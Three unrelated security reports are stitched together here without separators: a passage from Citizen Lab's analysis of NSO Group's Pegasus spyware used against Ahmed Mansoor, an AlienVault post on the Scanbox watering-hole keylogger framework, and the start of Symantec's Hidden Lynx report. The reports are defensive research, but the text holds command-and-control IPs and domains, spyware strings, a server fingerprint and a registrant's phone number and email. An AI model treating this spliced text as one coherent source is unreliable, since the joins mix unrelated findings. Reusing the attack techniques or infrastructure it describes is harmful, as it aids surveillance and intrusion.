Generic) accounts.mx adjust-local-settings.com Unknown Government Portals emiratesfoundation.net topcontactco.com The Emirates Foundation Teleperformance Visa Application Processing Portal for the UK (tpcontact.co.uk.)
9/14 https://citizenlab.org/wp-content/uploads/2016/08/image05.png https://www.gov.uk/government/world-location-news/how-to-apply-for-a-uk-visa https://www.gov.uk/government/world-location-news/how-to-apply-for-a-uk-visa https://www.gov.uk/government/world-location-news/how-to-apply-for-a-uk-visa Humanitarian organizations icrcworld.com redcrossworld.com International Committee of the Red Cross Airlines checkinonlinehere.com, turkishairines.info Generic Turkish Airlines Pokemon bulbazaur.com pickuchu.com The Pokemon Company Figure 14: Examples of domain names and themes We also examined the domain names for evidence of links to any specific country and found a range of countries.
Our criteria was whether the domain name contained the name of a telecom provider, ISP, local website, government service, geographic location, a countrys TLD, or the name of a country.
The UAE and Mexico dominate this list, although other countries are also worth noting, including: Turkey, Israel, Thailand, Qatar, Kenya, Uzbekistan, Mozambique, Morocco, Yemen, Hungary, Saudi Arabia, Nigeria, and Bahrain.
Figure 15: Country theme based on domain name.
Citizen Lab is refraining from publishing a full list of domain names at this time given the possibility that some domains may have been used in legitimate law enforcement operations.
6.
Linking NSO Group Products to the Attack on Mansoor In this section, we explain why we believe the attack on Ahmed Mansoor incorporated the use of NSO Groups Pegasus product.
We explain how we connected the domain name in the link that Ahmed Mansoor received, sms.webadv.co, to a network of domain names that we had mapped out while working on the May 2016 Stealth Falcon report (Section 5).
We also highlight links to the UAE.
6.1.
Spyware Points to NSO Groups Pegasus Solution The final payload that we identified, test111.tar, contained several files, including libaudio.dylib, which appeared to be the base library for call recording, libimo.dylib, which appeared to be the library for recording chat messages from apps, and two libraries for WhatsApp and Viber call recording: libvbcalls.dylib, and libwacalls.dylib.
In each file, we found several hundred strings containing the text _kPegasusProtocol, the name of NSO Groups solution.
_
kPegasusProtocolAgentControlElement_iv _kPegasusProtocolAgentControlElement_key _kPegasusProtocolAgentControlElement_ciphertext _kPegasusProtocolProtocolElement_iv _kPegasusProtocolProtocolElement_key _kPegasusProtocolProtocolElement_ciphertext _kPegasusProtocolResponseElement_iv _kPegasusProtocolResponseElement_key _kPegasusProtocolResponseElement_ciphertext Figure 16: Pegasus strings in the payload.
6.2.
Historical Scanning Data Connects Mansoor Attack to NSO Group-linked Infrastructure 10/14 https://citizenlab.org/2016/05/stealth-falcon/ The links sent to Mansoor used the domain sms.webadv.co.
The network of 237 live IP addresses we mapped ( Section 5) included 52.8.153.44, to which sms.webadv.co resolves, and which returns an SSL certificate for .webadv.co.
The 237 IPs also included 52.8.52.166 (aalaan.tv) and 162.209.103.68 (manoraonline.net), which were the two C2 servers in the spyware used in targeting Mansoor.
However, the 237 IPs and related domain names that we mapped did not provide insight into the identity of the threat actor.
The IP addresses all appeared to be associated with cloud VPS providers, which gave no clue as to the identities of the operators, and the WHOIS information was mostly private.
We did note that several domain names had WHOIS registrants based in Israel (e.g., thainews.asia, kenyasms.org).
We examined historical scanning data to see whether we could attribute the 237 IPs to a threat actor.
We noted that at least 19 of these IPs had previously returned a different distinctive Google redirect in response to a GET /.
\xef\xbb\xbfHTMLHEADMETA HTTP-EQUIVrefresh CONTENT0URLhttp://www.google.com/\r\nTITLE/TITLE/HEADBODY\r\n/BODY /HTML Figure 17: Response to an HTTP GET exhibited by 19 IPs in historical scanning data (note that the first three bytes represent the unicode byte order mark  BOM).
These 19 IPs included an IP address that (later) resolved to manoraonline.net, one of the C2 servers for the spyware sent to Mansoor.
We then searched the same historical data for other IP addresses that matched this same fingerprint.
Overall, between October 2013 and September 2014, we identified 83 IPs that matched the fingerprint.
We found several IPs of particular interest.
The IP address 82.80.202.200 matched our fingerprint from October 2013 until April 2014.
HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Tue, 04 Jun 2013 15:28:04 GMT Accept-Ranges: bytes ETag: 09a91b3861ce1:0 Server: Microsoft-IIS/7.5 Date: Mon, 28 Oct 2013 21:23:12 GMT Connection: close Content-Length: 127 \xef\xbb\xbfHTMLHEADMETA HTTP-EQUIVrefresh CONTENT0URLhttp://www.google.com/ TITLE/TITLE/HEADBODY /BODY/HTML The domain name qaintqa.com pointed to this IP address at the same time (from April 2013 to April 2016), according to DomainTools.
The registrant information for this domain is: Registrant Street:         Medinat Hayehudim 85 Registrant City:           hertzliya Registrant State/Province: central Registrant Postal Code:    46766 Registrant Country:        IL Registrant Phone:          972542228649 Registrant Email:          lidorgnsogroup.com We also found two other IP addresses of interest that matched the fingerprint: 82.80.202.204 and 54.251.49.214 matched the fingerprint in March 2014.
The former was pointed to by mail1.nsogroup.com from 2014-09-24 to 2015-05-06 (PassiveTotal), the latter was pointed to by nsoqa.com from 2015-09-01 until present (DomainTools).
Both domains are registered to NSO Group.
Given these findings, we strongly suspected the network of domain names we uncovered was part of an exploit infrastructure for NSO Groups mobile spyware.
6.3.
Additional UAE Infrastructure Recall that our first window into this infrastructure came from our Stealth Falcon research, when we identified the smser.net domain, fingerprinted it, and traced it to 237 live IP addresses that shared the same characteristics (Section 5.1).
Using PassiveTotal, we were able to further trace smser.net to seven other domains, indicating Stealth Falcon targeting that appeared to use NSO Groups Pegasus solution in Qatar (ooredoodeals.com), UAE (alawaeltech.com, which may be a fake mobile phone company based in the Emirate of Ajman ), and Bahrain (bahrainsms.co).
Based on our previously published research, we believe there is strong circumstantial evidence to support the conclusion that the operator of Stealth Falcon is connected to an entity within the UAE Government.
We also identified five .ae TLDs that all shared the same registrant name (Gerald Binord), which may have been used to target people in the UAE.
We further identified another group of domains including damanhealth.online (Daman Health is a UAE-based health insurer) and uaenews.online, which also included a domain turkeynewsupdates.com, suggesting an operator that is targeting both UAE and Turkey targets.
7.
Evidence of Other Targets In two cases, Mexico and Kenya, we found evidence of other targets who may have been targeted with NSO Groups Pegasus, based on messages they sent or received containing links that involve domain names we traced to what appears to be a mobile attack infrastructure associated with NSO Groups Pegasus (see Section 5: Tracking a Mobile Attack Infrastructure).
7.1.
Mexico: Politically Motivated Targeting?
In the case of Mexico, one target appears to be the journalist Rafael Cabrera, who recently reported on the Casa Blanca controversy, a reported conflict of interest involving the President and First Lady of Mexico.
On August 30, 2015 the journalist Cabrera tweeted that he had received suspicious messages purporting to come from Mexican television station UNO TV.
His tweet included screencaptures of the messages, which said that Mexicos Presidency was considering defamation claims and imprisonment of reporters related to the Casa Blanca report that Cabrera had worked on.
11/14 https://scans.io/study/sonar.http https://www.passivetotal.org/ https://sites.google.com/a/alawaeltech.com/alawael/home https://citizenlab.org/2016/05/stealth-falcon/ https://en.wikipedia.org/wiki/Daman_(health_insurance_company) http://www.icfj.org/news/investigative-journalists-uncover-corruption-latin-america http://aristeguinoticias.com/0911/mexico/la-casa-blanca-de-enrique-pena-nieto/ https://twitter.com/raflescabrera/status/638057388180803584 http://www.unotv.com/noticias/ Figure 18: Messages  purporting to come from UNO TV suggesting that a story he was linked to might result in defamation charges or incarceration.
Image via Mexican journalist Rafael Cabreras tweet.
The English translations of the messages are as follows: UNOTV.COM/ THE PRESIDENTS OFFICE WILL SUE FOR DEFAMATION THOSE WHO PUBLISH REPORTING ON CASA BLANCA.
NOTE: [MALICIOUS LINK] UNOTV.COM/ ON THE TOPIC OF THE CASA BLANCA, THE PRESIDENCY COULD INCARCERATE REPORTERS WHILE THEY LOOK INTO THE NAMES: [MALICIOUS LINK] The links in the screenshots expand to http://fb-accounts.com/1074139s/ and http://unonoticias.net/3423768s/.
These match two domain names we linked to the apparent NSO Group infrastructure.
A director at UNO TV responded to Cabreras Tweet, saying that these were not our messages 100.
Figure 19:  A director from UNO TV states that the suspicious SMS messages sent to Cabrera were not from his company.
Image via Twitter.
We were unable to achieve a successful infection from either link sent to Cabrera, presumably because the links were several months old when we found them, and had been clicked on either by Cabrera himself, or by other interested parties who saw Cabreras tweet.
Continuing our investigation, we made contact with Cabrera and learned that he had been recently targeted with an additional series of messages containing suspicious links.
Figure 20: Additional SMS messages sent to Rafael Cabrera containing links to the exploit infrastructure.
Screenshots courtesy of Rafael Cabrera.
The English translations of the messages are as follows (clockwise from top-left): 12/14 https://citizenlab.org/wp-content/uploads/2016/08/image19.png https://twitter.com/ELSABRIS/status/638088632297893888 https://citizenlab.org/wp-content/uploads/2016/08/image18.png Facebook reports efforts to access the account of: Rafael Cabrara.
Avoid account blockage, Verify at: [MALICIOUS LINK] UNOTV.COM/ CARMEN ARISTEGUI MAY RUN AS AN INDEPENDENT CANDIDATE IN 2018.
DETAILS: [MALICIOUS LINK] TELCEL.COM/.
DEAR CLIENT WE REMIND YOU THAT YOU HAVE AN OUTSTANDING DEBT OF 8,854.90 IN NATIONAL CURRENCY.
TO VERIFY DETAILS [MALICIOUS LINK] [CL Note: this message contains highly profane sexual taunts, followed by a malicious link] The fourth message is most noteworthy, as it contained profane and personal sexual taunts, unlike the other messages.
Each of these messages contained a link that would have led, we believe, to the infection of his iPhone with NSO Groups Pegasus spyware via the Trident exploit.
Similar SMS messages have also been reported in other online posts from Mexico.
7.2.
Kenya: A Tweet Discussing the Opposition In the case of Kenya, we found a past tweet containing a link to the NSO Group exploit infrastructure from June 3, 2015.
The tweet, sent by a Senior Research Officer in the Office of the Senate Minority Leader, references Moses Wetangula, who is the current Minority Leader of Kenyas Senate.
Figure 21: A Kenya-related link to apparent NSO Group infrastructure.
8.
Ahmed Mansoor and Previous UAE Attacks In this section, we provide an overview of previous attacks we have documented against Ahmed Mansoor, and other UAE dissidents.
The technical sophistication of previous attacks we observed pales in comparison to the present attack.
Ahmed Mansoor has been a frequent target of past electronic attacks.
In March 2011, he was targeted with FinFisher spyware disguised as a PDF of a pro-democracy petition he had previously signed.
The spyware arrived in the form of an executable file inside a .rar file attached to an email.
Mansoor noticed that the file was an EXE file rather than a PDF, and did not open it.
Mansoor and four other activists (the UAE Five) were imprisoned in April 2011, and charged with insulting the leaders of the UAE.
Mansoor and the others were pardoned in November of the same year.
In July of 2012, Ahmed Mansoors laptop was infected with Hacking Team spyware delivered via a booby-trapped Microsoft Word document exploiting an old Microsoft Office vulnerability, CVE 2010-3333.
The spyware sent information from his computer to a UAE intelligence agency, apparently operating under the auspices of the office of Sheikh Tahnoon bin Zayed al- Nahyan, a son of the founder of the UAE, and now the UAE Deputy National Security Advisor.
Attackers broke into Mansoors email account shortly after the infection.
We assisted Mansoor in recovering from the attack.
Another UAE-based human rights activist, and a UAE-based journalist were also targeted in the same operation.
In early 2013, Mansoor was sent a link to a website that attempted to install spyware on his computer by exploiting a public Java vulnerability for which no patch had yet been issued.
He realized the link was suspicious and did not click on it.
Throughout 2013 and 2014, Mansoor was unsuccessfully targeted several times with spyware, mostly XTremeRAT, SpyNet RAT, and njRAT delivered as executable files in attachments or through Google Drive links.
In 2014, Mansoors Twitter account was hacked.
In a campaign stretching from 2012 until 2016, UAE dissidents at home and abroad were targeted by Stealth Falcon, an attacker likely linked to a UAE government agency.
Stealth Falcon sent out links involving a fake URL shortener that employed Javascript to profile targets computers, checked which antivirus programs they had installed, and attempted to deanonymize them if they were using Tor.
Stealth Falcon also sent out Microsoft Word documents containing custom spyware that was installed if a user enabled macros.
Targets included five dissidents who were later arrested or convicted in absentia, as well as Rori Donaghy, a UK-based journalist who had been publishing articles about leaked emails involving members of the UAE government.
9.
Conclusion In this report, we identify a highly technically sophisticated attack involving a zero-day iPhone remote jailbreak  Trident  which installs spyware on a phone whose user clicks just once on a malicious link.
We connected the attack to NSO Groups Pegasus spyware suite, sold exclusively to government agencies by Israel-based NSO Group.
We made the connection based on our previous work tracing a group of servers that appeared to be part of an infrastructure for attacking mobile phones.
Long before Ahmed Mansoor had forwarded us any suspicious links he received, we had mapped out a set of 237 servers (Section 5), and linked this set to NSO Group ( Section 6).
When Mansoor sent us screencaptures of the SMS messages containing the links, we immediately matched the links domain name to our list of suspected servers associated with NSO Groups Pegasus.
We visited the links Mansoor sent us from a colleagues factory-reset stock iPhone, and managed to capture the exploits and payload, as the phone was infected.
We shared these artifacts with Lookout to gain more insight into the technical capabilities of the exploits and spyware, and with Apple as part of a responsible disclosure process.
Apple has been highly responsive, and has worked very quickly to develop and issue a patch in the form of iOS 9.3.5, approximately 10 days after our initial report to them.
Once an iPhone is updated to this most recent version, it will be immediately protected against the Trident exploit chain used in this attack.
While we assume that NSO Group and others will continue to develop 13/14 http://www.abajolosmuros.org/index.php/noticias-anticarcelarias/456-campana-de-intimidacion-y-amenazas-contra-individuxs-anarquistas https://twitter.com/kachuats/status/606125321021190144 https://www.linkedin.com/in/kachu-wa-sisungo-a808b832 https://twitter.com/wetangulamoses https://citizenlab.org/wp-content/uploads/2016/08/image12.png https://en.wikipedia.org/wiki/UAE_Five https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/ https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-marczak.pdf https://twitter.com/AmnestyUAE/status/528909930783592449 https://citizenlab.org/2016/05/stealth-falcon/ replacements for the Trident, we hope that our experience encourages other researchers to promptly and responsibly disclose such vulnerabilities to Apple and to other vendors.
What Can You Do?
All iPhone owners should update to the latest version of iOS (9.3.5) immediately.
If youre unsure what version youre running, you can check it yourself by tapping Settings  General About  Version.
Citizen Lab agrees with Apple  that users should avoid opening or downloading items from messages and websites unless they are certain that they come from a legitimate, trusted source.
If you uncertain about the source, you should not click the link or open the file.
If you believe you have been the victim of a targeted attack, should consider sharing it with a trusted expert.
If you suspect you have been the target of this attack, please contact the Citizen Lab at infocitizenlab.org.
Zero-day exploits are expensive and rare, especially one-click remote jailbreak exploits for iPhones, like the Trident.
Such exploits can fetch hundreds of thousands or even a million dollars.
While Citizen Lab research has shown that many state-sponsored spyware campaigns against civil society groups and human rights defenders use  just enough technical sophistication, coupled with carefully planned deception, the attack on Mansoor demonstrates that not all threats follow this pattern.
This is the third time Mansoor has been targeted with lawful intercept spyware Mansoor was targeted in 2011 with spyware from FinFisher (based in Germany and the UK), in 2012 with spyware from Hacking Team (based in Italy), and now in 2016 with what appears to be spyware from NSO Group (based in Israel and reportedly owned by a US firm).
That the companies whose spyware was used to target Mansoor are all owned and operated from democracies speaks volumes about the lack of accountability and effective regulation in the cross-border commercial spyware trade.
While these spyware tools are developed in democracies, they continue to be sold to countries with notorious records of abusive targeting of human rights defenders.
Such sales occur despite the existence of applicable export controls.
For example, Israels export regime incorporates the dual-use technology controls of the Wassenaar Arrangement , including those related to intrusion software.
As such, NSO Group would presumably be required to obtain a license to export its products to the UAE.
If NSO Group did submit a license application, the human rights abuses perpetrated by the UAE, including the misuse of lawful intercept capabilities, must not have outweighed authorities other motivations to approve the export.
Clearly, additional legal and regulatory scrutiny of the the lawful intercept market, and of NSO Groups activities in relation to the attacks we have described, is essential.
Citizen Lab and others have repeatedly demonstrated that advanced lawful intercept spyware enables some governments and agencies, especially those operating without strong oversight, to target and harass journalists, activists and human rights workers.
If spyware companies are unwilling to recognize the role that their products play in undermining human rights, or address these urgent concerns, they will continue to strengthen the case for further intervention by governments and other stakeholders.
Note: We are not releasing the malicious files at this time to protect the integrity of ongoing investigations.
Acknowledgements Special thanks to the team at Lookout that we collaborated with in our investigation, especially: Max Bazaliy, Andrew Blaich, Kristy Edwards, Michael Flossman, Seth Hardy, and Mike Murray.
Very special thanks to our talented Citizen Lab colleagues, especially: Ron Deibert, Sarah McKune, Claudio Guarnieri, Adam Senft, Irene Poetranto, and Masashi Nishihata.
Special thanks to the teams at Apple Inc. with whom we have been in contact for their prompt and forthright engagement during the disclosure and patching process.
Special thanks to Nicholas Weaver for supplying the iPhone that we infected in Section 4.
Special thanks to Zakir Durumeric.
Special thanks to TNG and others who provided invaluable assistance, including with translation, but requested to remain anonymous.
Thanks to PassiveTotal.
Citizen Labs research into targeted threats against civil society is supported by the John D and Catherine T MacArthur Foundation.
This material is also based upon work supported by the Center for Long Term Cybersecurity (CLTC) at UC Berkeley.
Disclosure Timeline Citizen Lab researchers received the initial suspicious link on August 10th 2016, and, shortly thereafter, contacted Lookout Security.
After both teams confirmed the presence of a remote jailbreak we initiated a responsible disclosure process and contacted Apple on August 15th.
Teams from Citizen Lab and Lookout continued our analysis until the public release of iOS 9.3.5 by Apple, which closes the vulnerabilities that we disclosed.
14/14 https://support.apple.com/en-us/HT204204 https://support.apple.com/en-us/HT201685 http://apple.com/support https://www.johnscottrailton.com/jsrs-digital-security-low-hanging-fruit/ http://www.pcworld.com/article/3106168/security/a-new-500000-ios-bug-bounty-beats-apples-offer.html https://www.zerodium.com/ios9.html https://targetedthreats.net/ https://citizenlab.org/2016/08/group5-syria/ http://www.hfn.co.il/client-update-decided-E28093-facilitate-cyber-export-controls-much-possible https://www.macfound.org/ https://cltc.berkeley.edu/ The Million Dollar Dissident: NSO Groups iPhone Zero-Days used against a UAE Human Rights Defender 1.
Executive Summary 2.
Ahmed Mansoor Targeted With iPhone Zero-Day 3.
NSO Group and the Pegasus Solution 3.1.
Pegasus Documents in Hacking Team Leak 3.2.
Device Infection 3.3.
Data Collection 3.4.
Exfiltration 3.5.
Prioritizing Stealth 4.
The Trident iOS Exploit Chain and Payload 4.1.
The Trident Exploit Chain 4.2.
The Payload 4.2.1.
Persistence 4.2.2.
Recording 4.2.3.
Exfiltration 5.
Tracking a Mobile Attack Infrastructure 5.1.
Stealth Falcon Leads Us to a Mobile Attack Infrastructure 5.2.
Coding the Domain Names 6.
Linking NSO Group Products to the Attack on Mansoor 6.1.
Spyware Points to NSO Groups Pegasus Solution 6.2.
Historical Scanning Data Connects Mansoor Attack to NSO Group-linked Infrastructure 6.3.
Additional UAE Infrastructure 7.
Evidence of Other Targets 7.1.
Mexico: Politically Motivated Targeting?
7.2.
Kenya: A Tweet Discussing the Opposition 8.
Ahmed Mansoor and Previous UAE Attacks 9.
Conclusion Acknowledgements Disclosure Timeline
Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks A few days ago we detected a watering hole campaign in a website owned by one big industrial company.
The website is related to software used for simulation and system engineering in a wide range of industries, including automotive, aerospace, and manufacturing.
The attackers were able to compromise the website and include code that loaded a malicious Javascript file from a remote server.
This Javascript file is a framework for reconnaissance that the attackers call Scanbox and includes some of the techniques we described in a previous blog post: Attackers abusing Internet Explorer to enumerate software and detect security products The Scanbox framework first configures the remote CC server that it will use and collects a small amount of information about the victim that is visiting the compromised website including: Referer User-Agent Location Cookie Title (To identify specific content that the victim is visiting) Domain Charset Screen width and height Operating System Language Resulting in something like this: https://www.alienvault.com/open-threat-exchange/blog/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi https://www.alienvault.com/blog-content/scanbox1.png Before sending the information to the CC server, Scanbox encodes and encrypts the data with the following function: Producing the following request: If we decrypt the data it translates to: After the first request, the framework contains several plugins to extract different information from the victim.
Pluginid 1: Enumerates software installed in the system using the technique we explained before that affects Internet Explorer.
It also checks if the system is running different versions of EMET (Enhanced Mitigation Experience Toolkit): https://www.alienvault.com/blog-content/scanbox2.png https://www.alienvault.com/blog-content/scanbox3.png https://www.alienvault.com/blog-content/scanbox4.png https://www.alienvault.com/open-threat-exchange/blog/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi https://www.alienvault.com/open-threat-exchange/blog/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi https://www.alienvault.com/open-threat-exchange/blog/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi http://support.microsoft.com/kb/2458544 Producing the list of security software on the target https://www.alienvault.com/blog-content/scanbox5.png https://www.alienvault.com/blog-content/scanbox6.png Pluginid 2: Enumerates Adobe Flash versions Pluginid 5: Enumerates Microsoft Office versions Pluginid 6: Enumerates Acrobat Reader versions Pluginid 8: Enumerates Java versions Pluginid 21: Implements a keylogger functionality trough Javascript that logs all the keystrokes the victim is typing inside the compromised website.
https://www.alienvault.com/blog-content/scanbox7.png https://www.alienvault.com/blog-content/scanbox8.png While the user is browsing the compromised website, all keystrokes are being recorded and sent to the CC periodically.
It will also send keystrokes when the user submits web forms that can potentially include passwords and other sensitive data.
As we have seen, this is a very powerful framework that gives attackers a lot of insight into the potential targets that will help them launching future attacks against them.
We have also seen several Metasploit-produced exploits that target different versions of Java in the same IP address that hosts the Scanbox framework (122.10.9[.
]109).
We recommend you look for this type of activity against the following machines in your network: mail[.
]webmailgoogle.com js[.
]webmailgoogle.com 122[.
]10.9.109
SECURITY RESPONSE The Hidden Lynx group is a professional team of attackers with advanced capabilities.
Follow us on Twitter threatintel Visit our Blog http://www.symantec.com/connect/symantec-blogs/sr Hidden Lynx  Professional Hackers for Hire Stephen Doherty, Jozsef Gegeny, Branko Spasojevic, Jonell Baltazar Version 1.0  September 17, 2013 CONTENTS OVERVIEW ..................................................................... 3 Background ................................................................... 5 Who are the Hidden Lynx group?
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5 Who are their targets?
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7 What is their motivation?
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7 Corporate Espionage ............................................... 8 Attacks against government contractors ................ 8 What are they capable of?
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8 Subverting trust protection models ........................ 8 Advanced zero-day access .................................... 13 Supply chain attacks ............................................. 14 Conclusion ................................................................... 16 Appendix ..................................................................... 18 Related attacks ...................................................... 18 Resources .................................................................... 25 Symantec Protection ................................................... 26 The Hidden Lynx group is a professional team of attackers with advanced capabilities.
They were responsible for the compromise of security firm Bit9s digital code-signing certificate which was used to sign malware.
The Bit9 breach was part of the much larger VOHO campaign and that campaign was just one of many operations undertaken by the group over the last four years.
The group likely offers a hackers for hire operation and is tasked with retrieving specific information from a wide range of corporate and government targets.
They are a highly efficient team who can undertake multiple campaigns at once, breach some of the worlds best-protected organizations and can change their tactics quickly to achieve their goal.
They usually attack using multiple customized Trojans designed for specific purposes.
Backdoor.
Moudoor is used for larger campaigns and has seen widespread distribution while Trojan.
Naid is reserved for special operations against high value targets.
The group uses cutting-edge attack techniques which makes this team stand out from other major attack groups.
This paper takes an in-depth look at the Hidden Lynx group, their targets and their motivations.
It will look into their capabilities and attack strategies through their attack campaigns including the Bit9 incident.
OVERVIEW A well-known group with affiliations to Operation Aurora managed to break into Bit9s network using an SQL injection attack.
BACKGROUND Page 5 Hidden Lynx  Professional Hackers for Hire Background In February 2013, Bit9 released a statement revealing that in July 2012, their network had been compromised by a malicious third-party.
A well-known group named Hidden Lynx with affiliations to Operation Aurora managed to break into Bit9s network using an SQL injection attack.
These Trojans made their way into the defense industrial sector.
However, the Bit9 compromise was only a small piece of a much larger watering-hole operation known as the VOHO campaign, which impacted hundreds of organizations in the United States.
Further, the VOHO campaign itself was just one campaign of many that is attributable to this incredibly prolific group.
Each campaign is designed to access information in governmental and commercial organizations that tend to operate in the wealthiest and most technologically advanced countries in the world.
Who are the Hidden Lynx group?
The Hidden Lynx group has been in operation since at least 2009 and is most likely a professional organization that offers a hackers for hire service.
They have the capability to attack many organizations with concurrently running campaigns.
They operate efficiently and move quickly and methodically.
Based on these factors, the Hidden Lynx group would need to be a sizeable organization made up of between 50 and 100 individuals.
The members of this group are experts at breaching systems.
They engage in a two-pronged strategy of mass exploitation and pay-to-order targeted attacks for intellectual property using two Trojans designed specifically for each purpose: Team Moudoor distributes Backdoor.
Moudoor, a customized version of Gh0st RAT, for large-scale campaigns across several industries.
The distribution of Moudoor requires a sizeable number of people to both breach targets and retrieve the information from the compromised networks.
Team Naid distributes Trojan.
Naid, the Trojan found during the Bit9 incident, which appears to be reserved for more limited attacks against high value targets.
This Trojan was leveraged for a special operation during the VOHO campaign and is probably used by a specific team of highly skilled attackers within the group.
This Trojan was also found as part of Operation Aurora in 2009.
Much of the attack infrastructure and tools used during these campaigns originate from network infrastructure in China.
The Hidden Lynx group makes regular use of zero-day exploits and has the ability to rework and customize exploits quickly.
They are methodical in their approach and they display a skillset far in advance of some other attack groups also operating in that region, such as the Comment Crew (also known as APT1).
The Hidden Lynx group is an advanced persistent threat that has been in operation for at least four years and is breaking into some of the best-protected organizations in the world.
With a zero-day attack already under their belt in 2013, they continue to operate at the leading edge of targeted attacks.
The diverse set of targets from a variety of sectors would indicate that this group is not focused on any one specific task.
WHO ARE THEIR TARGETS?
Page 7 Hidden Lynx  Professional Hackers for Hire Who are their targets?
Since November 2011, hundreds of organizations worldwide have been targeted by the Hidden Lynx group.
These organizations have remained relatively consistent during this time period.
The group targets organizations operating in both the commercial sector and within all levels of government.
The diverse set of targets from a variety of sectors would indicate that this group is not focused on any one specific task.
The group manages concurrent campaigns in attacks that are global in nature.
The Hidden Lynx group has most recently conducted attacks against specific organizations in South Korea and has a long history of attacking the defense industrial sector of Western countries.
The top 10 organizations categorized by the verticals they belong to are shown in Figure 1.
The most targeted countries/regions are shown in Figure 2.
What is their motivation?
This broad range of targeted information would indicate that the attackers are part of a professional organization.
They are likely tasked with obtaining very specific information that could be used to gain competitive advantages at both a corporate and nation state level.
It is unlikely that this organization engages in processing or using the stolen information for direct financial gain.
Their mode of operation would suggest that they may be a private organization of hackers for hire, who are highly skilled, experienced professionals whose services are available for those willing to pay.
Figure 1.
Top 10 organizations targeted by the Hidden Lynx group since November 2011 Figure 2.
Countries/regions targeted by the Hidden Lynx group since November 2011 Page 8 Hidden Lynx  Professional Hackers for Hire Corporate Espionage The financial services sector has been identified as the most heavily targeted industry overall.
There is a tendency to target specific companies within this sector.
Investment banks and asset management agencies account for the majority of organizations targeted within this industry.
The absence of certain types of financial institutions, such as those operating as commercial banks, clearly indicates that the attacks are focusing on specific areas.
The organizations involved would have expertise in large corporate deals, such as confidential information on upcoming mergers and acquisitions, which could be used to gain a competitive edge.
Targeting this sector in such a concentrated fashion could provide invaluable information when negotiating large takeovers or trading shares on the stock exchange.
Attacks on the financial sector are not limited to investment banks.
Stock trading firms and one of the worlds largest stock exchanges have been subjected to attacks from this group.
The Hidden Lynx group has also undertaken indirect attacks through the supply chains.
Organizations that supply hardware, secure network communications and services specific to the financial sector have also come under attack.
There is almost certainly a financial motivation behind these attacks.
Attacks against government contractors In attacks that have targeted all levels of government from local to national level, this group has repeatedly attempted to infiltrate these networks.
Attacks against government contractors and, more specifically, the defense industry indicate that the group is in pursuit of confidential information and suggests that the group had been working for nation states.
Targeting advanced technologies in specific areas such as aerospace would be useful in order to close technological gaps or gain knowledge of the advanced capabilities of other nation states.
Attacks on organizations that operate in the Internet services space can provide a wealth of valuable information.
The group had affiliations to Operation Aurora (See appendix for more details), a campaign that targeted a number of organizations including software manufacturers and defense contractors.
More recently, Microsoft claimed that the target was databases containing emails marked for court order wiretaps.
They believe that these attacks were counter-intelligence operations, activities that would provide benefits at a nation state level.
What are they capable of?
The groups tools, tactics and procedures are innovative and typically cutting-edge.
They use custom tools and techniques that they tailor to meet their objectives and maximize their chance of success.
They attack public- facing infrastructure and have been observed installing highly customized Trojans that are purpose-built for stealth.
They engineered one of the most successful watering-hole attacks to-date.
They also undertake spear- phishing attacks and hack supply chains in order to distribute their custom Trojans.
This is an established team with years of experience.
They are well resourced and highly skilled.
The Hidden Lynx groups advanced capabilities are clearly demonstrated in three major campaigns.
In the VOHO campaign, they showed how they could subvert Bit9s established trust models.
In the FINSHO campaign, they managed to get advanced knowledge of a zero-day exploit and in the SCADEF operation, they undertook supply chain attacks to succeed in their campaign.
Subverting trust protection models The team can adapt rapidly to counter-measures that would otherwise hinder the success of a campaign.
The attack on Bit9 showed how the group could bypass solid trust protection models to get to their targets.
However, this attack was only a small part of the larger VOHO campaign, where the group proved how quickly they can adapt and change their tactics in the face of new and unforeseen obstacles.
Page 9 Hidden Lynx  Professional Hackers for Hire The Bit9 incident Bit9 is a security company headquartered in Waltham, Massachusetts.
As an alternative to traditional signature-based antivirus solutions, Bit9 offers a trust-based security platform that runs off of a cloud-based reputation service combined with policy-driven application control and whitelisting to protect against cyberthreats.
As a result, it is difficult for a malicious third-party to install an untrusted application, such as a remote access Trojan (RAT), onto a system that is adequately protected with the Bit9 platform.
Undaunted by this, the elite Hidden Lynx group took up the challenge.
On February 8 2013, Bit9 released details revealing that a malicious third-party had gained access to one of their digital code-signing certificates.
During this incident, a number of Trojans and malicious scripts were signed.
In a follow up post on February 25, more details of the attack emerged.
In July 2012, more than six months earlier, a malicious third-party gained access to their network using an SQL injection attack.
Due to an operational oversight, a public-facing server that wasnt protected with the Bit9 platform allowed the attackers to gain unauthorized access.
The attackers installed Backdoor.
Hikit, a Trojan that provides extremely stealthy remote access to compromised systems.
This highly customized Trojan is typically installed onto servers in the victims DMZ, which was the case at Bit9.
Credentials for another virtual machine were then stolen.
These were used to access the virtual machine that contained one of Bit9s digital code-signing certificates.
The attackers used this code-signing infrastructure to sign thirty-two malicious files.
Symantec telemetry shows some of these files have been present within select organizations in the United States defense industrial sector.
The signing of these files is significant, since they could then be used to circumvent the trust protection model offered by the Bit9 platform.
The Trojans signed include variants of Backdoor.
Hikit (the remote access Trojan used in the initial compromise) and another RAT called Trojan.
Naid.
Some malicious attack scripts were also signed.
Each Trojan has a specific purpose.
Backdoor.
Hikit was used to target public-facing infrastructure while Trojan.
Naid was used to perform highly targeted attacks through email and watering-holes.
Bit9 was alerted to the compromise in January 2013 and took immediate containment steps such as revoking the digital signature and reaching out to their entire customer base.
According to Bit9, the attacks that followed Figure 3.
Trojan.
Naid  Bit9 digital certific ate, July 13, 2012, provided by Symantecs CA Figure 4.
Trojans successfully acquired with command-and- control (CC) servers from the Bit9 investigation Page 10 Hidden Lynx  Professional Hackers for Hire were not financially motivated, but rather were an attempt to access information.
On Bit9s own admission, three customers were impacted.
In conjunction with the Bit9 compromise, the Hidden Lynx group had another significant campaign well under way.
They had just concluded phase one of the VOHO campaign, a watering-hole operation orchestrated to attack organizations in the Boston, Massachusetts area  it was a likely a distribution vector for the newly signed files.
The VOHO campaign The VOHO campaign, first publicized by RSA, is one of the largest and most successful watering-hole attacks to date.
The campaign combined both regional and industry-specific attacks and predominantly targeted organizations that operate in the United States.
